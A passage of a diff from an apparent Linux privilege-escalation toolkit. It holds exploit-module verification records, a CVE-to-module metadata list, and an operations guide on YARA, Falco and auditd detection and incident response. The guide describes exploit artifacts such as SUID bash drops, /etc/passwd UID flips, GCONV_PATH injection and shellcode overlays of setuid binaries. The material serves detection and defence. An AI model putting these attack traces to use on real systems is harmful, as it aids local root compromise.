.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "stackrot",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "6.1.10-060110-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_chwoot",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_runas_neg1",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_samedit",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "4.15.0-213-generic",
|
||||
.host_distro = "Ubuntu 18.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu1804",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudoedit_editor",
|
||||
.verified_at = "2026-05-23",
|
||||
.host_kernel = "5.15.0-91-generic",
|
||||
.host_distro = "Ubuntu 22.04.3 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "PRECOND_FAIL",
|
||||
.actual_detect = "PRECOND_FAIL",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "tioscpgrp",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "5.4.0-26-generic",
|
||||
.host_distro = "Ubuntu 20.04.6 LTS",
|
||||
.vm_box = "generic/ubuntu2004",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "udisks_libblockdev",
|
||||
.verified_at = "2026-05-24",
|
||||
.host_kernel = "6.1.0-17-amd64",
|
||||
.host_distro = "Debian GNU/Linux 12 (bookworm)",
|
||||
.vm_box = "generic/debian12",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "refluxfs",
|
||||
.verified_at = "2026-07-23",
|
||||
.host_kernel = "5.14.0-687.10.1.el9_8.0.1.x86_64",
|
||||
.host_distro = "Rocky Linux 9.8 (Blue Onyx)",
|
||||
.vm_box = "rockylinux/9",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "dirty_cow",
|
||||
.verified_at = "2026-07-24",
|
||||
.host_kernel = "4.8.0-040800-generic",
|
||||
.host_distro = "Ubuntu 16.04.7 LTS",
|
||||
.vm_box = "ubuntu/xenial64+mainline-4.8.0",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
{
|
||||
.module = "sudo_host",
|
||||
.verified_at = "2026-07-24",
|
||||
.host_kernel = "5.15.0-25-generic",
|
||||
.host_distro = "Ubuntu 22.04 LTS",
|
||||
.vm_box = "generic/ubuntu2204",
|
||||
.expect_detect = "VULNERABLE",
|
||||
.actual_detect = "VULNERABLE",
|
||||
.status = "match",
|
||||
},
|
||||
};
|
||||
|
||||
const size_t verifications_count =
|
||||
sizeof(verifications) / sizeof(verifications[0]);
|
||||
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out)
|
||||
{
|
||||
if (count_out) *count_out = 0;
|
||||
if (!module) return NULL;
|
||||
const struct verification_record *first = NULL;
|
||||
size_t n = 0;
|
||||
for (size_t i = 0; i < verifications_count; i++) {
|
||||
if (strcmp(verifications[i].module, module) == 0) {
|
||||
if (first == NULL) first = &verifications[i];
|
||||
n++;
|
||||
}
|
||||
}
|
||||
if (count_out) *count_out = n;
|
||||
return first;
|
||||
}
|
||||
|
||||
bool verifications_module_has_match(const char *module)
|
||||
{
|
||||
size_t n = 0;
|
||||
const struct verification_record *r = verifications_for_module(module, &n);
|
||||
for (size_t i = 0; i < n; i++)
|
||||
if (r[i].status && strcmp(r[i].status, "match") == 0)
|
||||
return true;
|
||||
return false;
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
/*
|
||||
* SKELETONKEY — per-module verification records
|
||||
*
|
||||
* "Verified-on" entries — concrete (distro, kernel, date) tuples where
|
||||
* tools/verify-vm/verify.sh has empirically confirmed a module's
|
||||
* detect() verdict against a known-vulnerable target. Each entry is one
|
||||
* row from docs/VERIFICATIONS.jsonl, auto-generated into the C table
|
||||
* by tools/refresh-verifications.py.
|
||||
*
|
||||
* Modules with >=1 record carry an empirical-trust badge ("✓ verified
|
||||
* on Ubuntu 20.04.6 / 5.4.0") in --list / --module-info / --explain
|
||||
* output. Modules with zero records are still tested at the unit level
|
||||
* (synthetic fingerprints), but have not yet been confirmed on a real
|
||||
* vulnerable kernel.
|
||||
*
|
||||
* Append-only by intent: each verify.sh run appends a fresh JSONL line
|
||||
* (timestamped); the refresh script dedupes to (module, vm_box,
|
||||
* kernel, expect_detect) when generating the C table so re-runs of the
|
||||
* same scenario update rather than accumulate.
|
||||
*/
|
||||
|
||||
#ifndef SKELETONKEY_VERIFICATIONS_H
|
||||
#define SKELETONKEY_VERIFICATIONS_H
|
||||
|
||||
#include <stdbool.h>
|
||||
#include <stddef.h>
|
||||
|
||||
struct verification_record {
|
||||
const char *module; /* module name (matches struct skeletonkey_module.name) */
|
||||
const char *verified_at; /* "YYYY-MM-DD" (date-only; full timestamp truncated) */
|
||||
const char *host_kernel; /* uname -r value, e.g. "5.4.0-169-generic" */
|
||||
const char *host_distro; /* /etc/os-release PRETTY_NAME, e.g. "Ubuntu 20.04.6 LTS" */
|
||||
const char *vm_box; /* vagrant box name, e.g. "generic/ubuntu2004" */
|
||||
const char *expect_detect; /* "VULNERABLE" / "OK" / "PRECOND_FAIL" — what targets.yaml said */
|
||||
const char *actual_detect; /* what skeletonkey --explain returned */
|
||||
const char *status; /* "match" iff actual == expected; otherwise "MISMATCH" */
|
||||
};
|
||||
|
||||
extern const struct verification_record verifications[];
|
||||
extern const size_t verifications_count;
|
||||
|
||||
/* Returns the first record (count via *count_out) for the named module,
|
||||
* or NULL if the module has no recorded verifications. The records are
|
||||
* stored contiguously in the table, so once you have the pointer you
|
||||
* can iterate count_out entries forward. */
|
||||
const struct verification_record *
|
||||
verifications_for_module(const char *module, size_t *count_out);
|
||||
|
||||
/* True iff the module has at least one "match" record. */
|
||||
bool verifications_module_has_match(const char *module);
|
||||
|
||||
#endif /* SKELETONKEY_VERIFICATIONS_H */
|
||||
@@ -0,0 +1,371 @@
|
||||
[
|
||||
{
|
||||
"cve": "CVE-2016-5195",
|
||||
"module_dir": "dirty_cow_cve_2016_5195",
|
||||
"cwe": "CWE-362",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-03-03"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2017-7308",
|
||||
"module_dir": "af_packet_cve_2017_7308",
|
||||
"cwe": "CWE-681",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2018-14634",
|
||||
"module_dir": "mutagen_astronomy_cve_2018_14634",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-01-26"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-13272",
|
||||
"module_dir": "ptrace_traceme_cve_2019_13272",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2021-12-10"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2019-14287",
|
||||
"module_dir": "sudo_runas_neg1_cve_2019_14287",
|
||||
"cwe": "CWE-755",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-14386",
|
||||
"module_dir": "af_packet2_cve_2020_14386",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2020-29661",
|
||||
"module_dir": "tioscpgrp_cve_2020_29661",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-22555",
|
||||
"module_dir": "netfilter_xtcompat_cve_2021_22555",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-10-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3156",
|
||||
"module_dir": "sudo_samedit_cve_2021_3156",
|
||||
"cwe": "CWE-193",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-06"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-33909",
|
||||
"module_dir": "sequoia_cve_2021_33909",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-3493",
|
||||
"module_dir": "overlayfs_cve_2021_3493",
|
||||
"cwe": "CWE-270",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-10-20"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2021-4034",
|
||||
"module_dir": "pwnkit_cve_2021_4034",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-06-27"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0185",
|
||||
"module_dir": "fuse_legacy_cve_2022_0185",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-08-21"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0492",
|
||||
"module_dir": "cgroup_release_agent_cve_2022_0492",
|
||||
"cwe": "CWE-287",
|
||||
"attack_technique": "T1611",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2026-06-02"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-0847",
|
||||
"module_dir": "dirty_pipe_cve_2022_0847",
|
||||
"cwe": "CWE-665",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2022-04-25"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-25636",
|
||||
"module_dir": "nft_fwd_dup_cve_2022_25636",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2022-2588",
|
||||
"module_dir": "cls_route4_cve_2022_2588",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0179",
|
||||
"module_dir": "nft_payload_cve_2023_0179",
|
||||
"cwe": "CWE-190",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0386",
|
||||
"module_dir": "overlayfs_setuid_cve_2023_0386",
|
||||
"cwe": "CWE-282",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-06-17"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-0458",
|
||||
"module_dir": "entrybleed_cve_2023_0458",
|
||||
"cwe": "CWE-476",
|
||||
"attack_technique": "T1082",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-2008",
|
||||
"module_dir": "vmwgfx_cve_2023_2008",
|
||||
"cwe": "CWE-129",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-22809",
|
||||
"module_dir": "sudoedit_editor_cve_2023_22809",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-32233",
|
||||
"module_dir": "nft_set_uaf_cve_2023_32233",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-3269",
|
||||
"module_dir": "stackrot_cve_2023_3269",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2023-4622",
|
||||
"module_dir": "af_unix_gc_cve_2023_4622",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-1086",
|
||||
"module_dir": "nf_tables_cve_2024_1086",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2024-05-30"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-26581",
|
||||
"module_dir": "nft_pipapo_cve_2024_26581",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2024-50264",
|
||||
"module_dir": "vsock_uaf_cve_2024_50264",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32462",
|
||||
"module_dir": "sudo_host_cve_2025_32462",
|
||||
"cwe": "CWE-863",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-32463",
|
||||
"module_dir": "sudo_chwoot_cve_2025_32463",
|
||||
"cwe": "CWE-829",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": true,
|
||||
"kev_date_added": "2025-09-29"
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2025-6019",
|
||||
"module_dir": "udisks_libblockdev_cve_2025_6019",
|
||||
"cwe": "CWE-250",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-23111",
|
||||
"module_dir": "nft_catchall_cve_2026_23111",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-31635",
|
||||
"module_dir": "dirtydecrypt_cve_2026_31635",
|
||||
"cwe": "CWE-130",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-41651",
|
||||
"module_dir": "pack2theroot_cve_2026_41651",
|
||||
"cwe": "CWE-367",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-43494",
|
||||
"module_dir": "pintheft_cve_2026_43494",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-43499",
|
||||
"module_dir": "ghostlock_cve_2026_43499",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46242",
|
||||
"module_dir": "bad_epoll_cve_2026_46242",
|
||||
"cwe": "CWE-416",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46243",
|
||||
"module_dir": "cifswitch_cve_2026_46243",
|
||||
"cwe": "CWE-20",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46300",
|
||||
"module_dir": "fragnesia_cve_2026_46300",
|
||||
"cwe": "CWE-787",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-46333",
|
||||
"module_dir": "ptrace_pidfd_cve_2026_46333",
|
||||
"cwe": "CWE-269",
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
},
|
||||
{
|
||||
"cve": "CVE-2026-64600",
|
||||
"module_dir": "refluxfs_cve_2026_64600",
|
||||
"cwe": null,
|
||||
"attack_technique": "T1068",
|
||||
"attack_subtechnique": null,
|
||||
"in_kev": false,
|
||||
"kev_date_added": ""
|
||||
}
|
||||
]
|
||||
@@ -41,12 +41,23 @@ make it part of your daily ops" guide.
|
||||
# Daily/weekly hygiene check
|
||||
sudo skeletonkey --scan
|
||||
|
||||
# Investigate a specific finding (one-page operator briefing)
|
||||
sudo skeletonkey --explain nf_tables # whichever module came back VULNERABLE
|
||||
# Shows: CVE / CWE / MITRE ATT&CK / CISA KEV status, live detect() trace,
|
||||
# OPSEC footprint (what an exploit would leave behind), detection-rule
|
||||
# coverage, mitigation. Paste into the triage ticket.
|
||||
|
||||
# If anything's VULNERABLE, deploy detections + apply mitigation
|
||||
sudo skeletonkey --detect-rules --format=auditd | sudo tee /etc/audit/rules.d/99-skeletonkey.rules
|
||||
sudo augenrules --load
|
||||
sudo skeletonkey --mitigate copy_fail # or whichever module fired
|
||||
```
|
||||
|
||||
The `--explain` output is also useful as a learning artifact: each
|
||||
module's `--explain` block is a self-contained CVE briefing with the
|
||||
reasoning chain the detect() function walked, so analysts can verify
|
||||
SKELETONKEY's verdict against their own understanding of the bug.
|
||||
|
||||
### Small fleet (~10-100 hosts, SSH-reachable)
|
||||
|
||||
Use `tools/skeletonkey-fleet-scan.sh`:
|
||||
@@ -168,6 +179,70 @@ skeletonkey --detect-rules --format=sigma > /etc/sigma/skeletonkey.yml
|
||||
sigmac -t elastic /etc/sigma/skeletonkey.yml
|
||||
```
|
||||
|
||||
### YARA artifact scanning
|
||||
|
||||
YARA rules catch the **post-fire** state — page-cache shellcode
|
||||
overwrites, malicious `.deb` drops, `/etc/passwd` UID flips. Run them
|
||||
as a scheduled scan against sensitive paths:
|
||||
|
||||
```bash
|
||||
# Ship YARA rules
|
||||
sudo skeletonkey --detect-rules --format=yara | sudo tee /etc/yara/skeletonkey.yar
|
||||
|
||||
# Scheduled scan via cron — catches the page-cache and /tmp artifacts
|
||||
# /etc/cron.d/skeletonkey-yara
|
||||
*/15 * * * * root yara -r /etc/yara/skeletonkey.yar \
|
||||
/etc/passwd /tmp /usr/bin/su /usr/bin/passwd \
|
||||
2>>/var/log/skeletonkey-yara.log
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `etc_passwd_uid_flip` | Non-root user line in `/etc/passwd` with a zero-padded UID (`0000+`). Canonical Copy Fail / Dirty Frag / Dirty Pipe / DirtyDecrypt outcome. |
|
||||
| `etc_passwd_root_no_password` | `root` line with empty password field — DirtyDecrypt's intermediate corruption step. |
|
||||
| `pwnkit_gconv_modules_cache` | Small `gconv-modules` text file with a `module UTF-8// X// /tmp/…` redefinition. |
|
||||
| `dirty_pipe_passwd_uid_flip` | Same UID-flip pattern (Dirty Pipe-specific tag). |
|
||||
| `dirtydecrypt_payload_overlay` | First 28 bytes of `/usr/bin/su` (or similar) match the embedded 120-byte ET_DYN shellcode the V12 PoC overlays. |
|
||||
| `fragnesia_payload_overlay` | Same shape for the 192-byte Fragnesia payload. |
|
||||
| `pack2theroot_malicious_deb` | `.deb` ar-archive in `/tmp` with the SUID-bash postinst. |
|
||||
| `pack2theroot_suid_bash_drop` | `/tmp/.suid_bash` exists and is a real bash ELF. |
|
||||
|
||||
The page-cache overlay rules (`dirtydecrypt_payload_overlay`,
|
||||
`fragnesia_payload_overlay`) are particularly high-signal: no
|
||||
legitimate ELF starts with those exact 28 bytes, so a hit means the
|
||||
exploit landed.
|
||||
|
||||
### Falco runtime detection
|
||||
|
||||
Falco catches the exploit **as it fires** by hooking syscalls and
|
||||
namespace events. Best deploy for K8s / container hosts but works on
|
||||
any modern Linux:
|
||||
|
||||
```bash
|
||||
sudo skeletonkey --detect-rules --format=falco \
|
||||
| sudo tee /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo falco --validate /etc/falco/rules.d/skeletonkey.yaml
|
||||
sudo systemctl reload falco # or restart, depending on distro
|
||||
```
|
||||
|
||||
What each rule catches:
|
||||
|
||||
| Rule | Triggers on |
|
||||
|---|---|
|
||||
| `Pwnkit-style pkexec invocation` | `pkexec` spawned with empty argv (the bug's hallmark). |
|
||||
| `Pwnkit-style GCONV_PATH injection` | Non-root sets `GCONV_PATH=` / `CHARSET=` before spawning a setuid binary. |
|
||||
| `AF_ALG authenc keyblob installed by non-root` | `socket(AF_ALG)` by non-root — Copy Fail / GCM variant primitive. |
|
||||
| `XFRM NETLINK_XFRM bind from unprivileged userns` | XFRM SA setup from non-root userns — Dirty Frag / Fragnesia primitive. |
|
||||
| `/etc/passwd modified by non-root` | Post-fire signal for the whole page-cache-write family. |
|
||||
| `Dirty Pipe splice from setuid/sensitive file by non-root` | `splice()` of `/etc/passwd` or `/usr/bin/su` by non-root. |
|
||||
| `AF_RXRPC socket created by non-root` | DirtyDecrypt primitive — `socket(AF_RXRPC)` is nearly unheard-of in production. |
|
||||
| `rxrpc security key added` | `add_key("rxrpc", …)` by non-root — DirtyDecrypt handshake setup. |
|
||||
| `TCP_ULP=espintcp set by non-root` | Fragnesia trigger — flipping a TCP socket to espintcp ULP. |
|
||||
| `SUID bash dropped to /tmp` | Pack2TheRoot postinst landing `/tmp/.suid_bash`. |
|
||||
| `dpkg invoked by PackageKit on behalf of non-root caller` | Pack2TheRoot chain — `packagekitd → dpkg` installing a /tmp `.pk-*.deb`. |
|
||||
|
||||
## Day-to-day operational shape
|
||||
|
||||
### What "good" looks like in the SIEM
|
||||
@@ -245,6 +320,96 @@ sudo rm /etc/sysctl.d/99-dirtyfail-mitigations.conf
|
||||
# Reload affected modules / sysctls per your distro
|
||||
```
|
||||
|
||||
## Per-module detection coverage
|
||||
|
||||
Across the 4 rule formats:
|
||||
|
||||
| Module | CVE | auditd | sigma | yara | falco |
|
||||
|---|---|:-:|:-:|:-:|:-:|
|
||||
| copy_fail | CVE-2026-31431 | ✓ | ✓ | ✓ | ✓ |
|
||||
| copy_fail_gcm | (variant) | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_esp6 | CVE-2026-43284 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_frag_rxrpc | CVE-2026-43500 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirty_pipe | CVE-2022-0847 | ✓ | ✓ | ✓ | ✓ |
|
||||
| dirtydecrypt | CVE-2026-31635 | ✓ | ✓ | ✓ | ✓ |
|
||||
| fragnesia | CVE-2026-46300 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pwnkit | CVE-2021-4034 | ✓ | ✓ | ✓ | ✓ |
|
||||
| pack2theroot | CVE-2026-41651 | ✓ | ✓ | ✓ | ✓ |
|
||||
| Other 21 modules | various | ✓ | partial | — | — |
|
||||
|
||||
Full 4-format coverage on the 10 highest-value modules; auditd
|
||||
covers everything. YARA / Falco expansion to the remaining 21 modules
|
||||
is incremental contributor work (each module's `detect_yara` /
|
||||
`detect_falco` field in the module struct just needs a string).
|
||||
|
||||
## Correlation across formats
|
||||
|
||||
Single-format detections are useful; the high-confidence signal is
|
||||
the **correlation across formats** for the same module in a short
|
||||
window. Each exploit leaves a recognisable multi-format trail:
|
||||
|
||||
| Exploit | falco fires | auditd fires | yara confirms |
|
||||
|---|---|---|---|
|
||||
| Pwnkit | `pkexec` empty argv | `execve /usr/bin/pkexec` + `GCONV_PATH=` env | gconv-modules cache in /tmp |
|
||||
| Dirty Pipe | `splice()` from `/etc/passwd` | splice + write to `/etc/passwd` | UID flip in `/etc/passwd` |
|
||||
| Copy Fail | `socket(AF_ALG)` | algif_aead + `ALG_SET_KEY` | UID flip in `/etc/passwd` |
|
||||
| Dirty Frag (ESP) | NETLINK_XFRM sendto + TCP_ULP | XFRM_MSG_NEWSA | UID flip in `/etc/passwd` |
|
||||
| DirtyDecrypt | `socket(AF_RXRPC)` + `add_key(rxrpc)` | AF_RXRPC + add_key | 120-byte ELF overwrites `/usr/bin/su` |
|
||||
| Fragnesia | `TCP_ULP=espintcp` from non-root | XFRM + setsockopt(TCP_ULP) | 192-byte ELF overwrites `/usr/bin/su` |
|
||||
| Pack2TheRoot | dpkg invoked by packagekitd with /tmp/.pk-*.deb | new `.deb` in `/tmp` + `chmod 4755` on `/tmp/.suid_bash` | malicious `.deb` + SUID bash both present |
|
||||
|
||||
If **three of the four signals** fire for the same module in the same
|
||||
window, the exploit landed. **One signal alone** in a noisy
|
||||
environment is more likely a tuning FP; **three signals** is incident
|
||||
response.
|
||||
|
||||
## Worked example: catching DirtyDecrypt end-to-end
|
||||
|
||||
A SOC operator gets a Falco page:
|
||||
|
||||
```
|
||||
CRITICAL AF_RXRPC socket() by non-root (user=alice proc=poc pid=44231)
|
||||
```
|
||||
|
||||
1. **Confirm via auditd** — pull events keyed on the family:
|
||||
```bash
|
||||
sudo ausearch -k skeletonkey-dirtydecrypt-rxrpc -ts recent
|
||||
```
|
||||
Expect: `socket(...,33,...)` + subsequent `add_key("rxrpc",...)`.
|
||||
|
||||
2. **Confirm via yara** — scan setuid binaries for the page-cache
|
||||
overlay:
|
||||
```bash
|
||||
yara /etc/yara/skeletonkey.yar /usr/bin/su /usr/bin/passwd
|
||||
```
|
||||
If `dirtydecrypt_payload_overlay` matches `/usr/bin/su`, **the
|
||||
exploit landed** — the binary's page cache has been overwritten
|
||||
with the 120-byte shellcode.
|
||||
|
||||
3. **Recover** — the on-disk binary is intact; only the page cache is
|
||||
corrupted. Drop it:
|
||||
```bash
|
||||
sudo skeletonkey --cleanup dirtydecrypt # or: echo 3 > /proc/sys/vm/drop_caches
|
||||
```
|
||||
|
||||
4. **Sigma hunt for lateral / repeat** — query your SIEM with the
|
||||
sigma rule ID `7c1e9a40-skeletonkey-dirtydecrypt` over the last 7
|
||||
days to find any other hosts.
|
||||
|
||||
5. **Patch.** DirtyDecrypt's mainline fix is commit `a2567217` in
|
||||
Linux 7.0 — see [`CVES.md`](../CVES.md) for distro backports.
|
||||
|
||||
6. **Harden.** `rxrpc` is rarely needed on non-AFS hosts:
|
||||
```bash
|
||||
echo "blacklist rxrpc" | sudo tee /etc/modprobe.d/blacklist-rxrpc.conf
|
||||
sudo update-initramfs -u
|
||||
```
|
||||
|
||||
